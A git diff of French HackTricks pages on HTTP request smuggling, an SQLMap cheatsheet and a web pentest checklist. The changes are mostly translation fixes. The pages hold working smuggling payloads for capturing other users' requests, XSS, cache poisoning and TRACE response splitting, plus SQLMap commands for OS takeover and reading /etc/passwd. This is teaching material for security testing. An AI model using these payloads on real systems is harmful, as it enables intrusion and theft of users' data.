Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou **découvrir des informations ou des points de terminaison cachés**.
|
||||
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou **découvrir des informations ou des points de terminaison dissimulés**.
|
||||
|
||||
Pour enquêter sur la façon dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, élaborez une requête, en utilisant ce paramètre en dernier, similaire à ce qui suit :
|
||||
```
|
||||
|
@ -358,7 +358,7 @@ Content-Length: 100
|
|||
|
||||
search=
|
||||
```
|
||||
Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Ce reflet exposera les en-têtes de la requête suivante.
|
||||
Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les en-têtes de la requête suivante.
|
||||
|
||||
Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur dans la requête.
|
||||
|
||||
|
@ -392,7 +392,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
|||
```
|
||||
Dans ce scénario, le **paramètre comment** est destiné à stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.
|
||||
|
||||
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête smuggled. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
|
||||
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête dissimulée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
|
||||
|
||||
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
|
||||
|
@ -430,7 +430,7 @@ Ce payload est structuré pour exploiter la vulnérabilité en :
|
|||
2. Suivant avec un `0`, marquant la fin du corps du message chunked.
|
||||
3. Ensuite, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête subséquente.
|
||||
|
||||
En manipulant le `User-Agent` par le smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
|
||||
En manipulant le `User-Agent` par le biais du smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
|
@ -468,7 +468,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Cette requête dissimulée pourrait entraîner la redirection de la prochaine requête utilisateur traitée vers un site Web contrôlé par un attaquant :
|
||||
Cette requête dissimulée pourrait entraîner la redirection de la prochaine requête utilisateur traitée vers un site web contrôlé par un attaquant :
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
@ -484,7 +484,7 @@ Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est d
|
|||
|
||||
### Exploiter le Poisoning de Cache Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Le poisoning de cache web peut être exécuté si n'importe quel composant de l'**infrastructure frontale met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poisonner le cache**.
|
||||
Le poisoning de cache web peut être exécuté si n'importe quel composant de l'**infrastructure front-end met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poisonner le cache**.
|
||||
|
||||
Auparavant, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de Base](./#basic-examples)). De même, il est possible de tromper le serveur pour qu'il livre le contenu de `/index.html` en réponse à une demande pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut potentiellement conduire à une Déni de Service (DoS).
|
||||
|
||||
|
@ -514,14 +514,14 @@ Après un **empoisonnement de socket** réussi, une **requête GET** pour `/stat
|
|||
|
||||
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi une large attaque XSS.
|
||||
|
||||
### Utiliser le smuggling de requêtes HTTP pour effectuer une tromperie de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Utilisation de l'HTTP request smuggling pour effectuer une tromperie de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?**
|
||||
>
|
||||
> * Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
|
||||
> * Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache.
|
||||
|
||||
L'attaquant crée une requête smuggled qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
|
||||
L'attaquant crée une requête de contournement qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -532,11 +532,11 @@ L'attaquant crée une requête smuggled qui récupère un contenu sensible spéc
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Si cette requête de contournement empoisonne une entrée de cache destinée à du contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
|
||||
Si cette requête de contournement empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
|
||||
|
||||
### Abus de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode renverra tout en-tête envoyé au serveur dans le corps de la réponse. Par exemple :
|
||||
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack) il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode reflétera tout en-tête envoyé au serveur dans le corps de la réponse. Par exemple :
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
|
@ -553,13 +553,13 @@ Host: vulnerable.com
|
|||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un exemple sur la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après la HEAD une requête TRACE**, qui sera **réfléchissant les données envoyées**.\
|
||||
Un exemple sur la façon d'abuser de ce comportement serait de **faire passer d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et faire passer **immédiatement après le HEAD une requête TRACE**, qui sera **réfléchissant les données envoyées**.\
|
||||
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires** dans la réponse.\
|
||||
Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cela pourrait être **utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire**.
|
||||
|
||||
### Abuser de TRACE via le découpage de réponse HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continuer à suivre [**ce post**](https://portswigger.net/research/trace-desync-attack) est suggéré comme une autre façon d'abuser de la méthode TRACE. Comme commenté, smuggler une requête HEAD et une requête TRACE il est possible de **contrôler certaines données réfléchies** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
|
||||
Continuer à suivre [**ce post**](https://portswigger.net/research/trace-desync-attack) est suggéré comme une autre façon d'abuser de la méthode TRACE. Comme commenté, faire passer une requête HEAD et une requête TRACE il est possible de **contrôler certaines données réfléchies** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
|
||||
|
||||
Par conséquent, la nouvelle idée serait que, sachant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête à la prochaine réponse (ce qui pourrait être utilisé pour effectuer un empoisonnement de cache).
|
||||
|
||||
|
@ -582,7 +582,7 @@ Content-Length: 44\r\n
|
|||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps HEAD et une fois que le Content-Length HEAD se termine, une réponse HTTP valide est dissimulée) :
|
||||
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps HEAD et une fois que le Content-Length HEAD se termine, une réponse HTTP valide est smuggled) :
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
@ -735,7 +735,7 @@ table.add(req)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -750,7 +750,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -833,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -848,7 +848,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# SQLMap - Cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -100,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** permet d'utiliser `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela rend très facile et rapide le traitement de manière personnalisée la charge utile avant de l'envoyer. Dans l'exemple suivant, la **session de cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
|
||||
**Sqlmap** permet d'utiliser `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela rend très facile et rapide le traitement de manière personnalisée de la charge utile avant de l'envoyer. Dans l'exemple suivant, la **session de cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
|
@ -119,7 +119,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Explorer un site web avec SQLmap et auto-exploitation
|
||||
### Explorer un site web avec SQLmap et exploitation automatique
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -164,13 +164,13 @@ N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est
|
|||
| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
|
||||
| between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Remplace le caractère espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
|
||||
| chardoubleencode.py | Double url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| chardoubleencode.py | Double encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| commalesslimit.py | Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| charunicodeencode.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "\u0022" |
|
||||
| charencode.py | Encode en URL tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| charunicodeencode.py | Encode en URL unicode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "%u0022" |
|
||||
| charunicodeescape.py | Encode en URL unicode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "\u0022" |
|
||||
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
||||
| escapequotes.py | Échappe les guillemets (' et ") |
|
||||
| greatest.py | Remplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST' |
|
||||
|
@ -193,7 +193,7 @@ N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est
|
|||
| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
|
||||
| space2randomblank.py | Remplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et |
|
||||
|
@ -201,13 +201,13 @@ N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est
|
|||
| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multi-octets %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
|
||||
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT' |
|
||||
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné |
|
||||
| versionedkeywords.py | Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné |
|
||||
| versionedmorekeywords.py | Enveloppe chaque mot-clé par un commentaire MySQL versionné |
|
||||
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
||||
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -33,11 +33,11 @@ De nos jours, les **applications** **web** utilisent généralement une sorte de
|
|||
{% endhint %}
|
||||
|
||||
* [ ] [**Abus des en-têtes hop-by-hop**](abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**Poisonnement de cache/Déception de cache**](cache-deception/)
|
||||
* [ ] [**Poisoning de cache/Déception de cache**](cache-deception/)
|
||||
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||
* [ ] [**Inclusion côté serveur/Inclusion côté edge**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Dévoiler Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [ ] [**Découverte de Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [ ] [**Injection XSLT côté serveur**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
* [ ] [**Bypass des protections Proxy / WAF**](proxy-waf-protections-bypass.md)
|
||||
|
||||
|
@ -127,9 +127,9 @@ Certaines **fonctionnalités spécifiques** peuvent également être vulnérable
|
|||
|
||||
### Fichiers
|
||||
|
||||
Les fonctionnalités qui permettent de télécharger des fichiers peuvent être vulnérables à plusieurs problèmes.\
|
||||
Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur peuvent exécuter un code inattendu.\
|
||||
Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateurs ou générés automatiquement incluant des entrées utilisateur peuvent être compromis.
|
||||
Les fonctionnalités qui permettent de télécharger des fichiers pourraient être vulnérables à plusieurs problèmes.\
|
||||
Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur pourraient exécuter un code inattendu.\
|
||||
Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateurs ou générés automatiquement incluant des entrées utilisateur pourraient être compromis.
|
||||
|
||||
* [ ] [**Téléchargement de fichier**](file-upload/)
|
||||
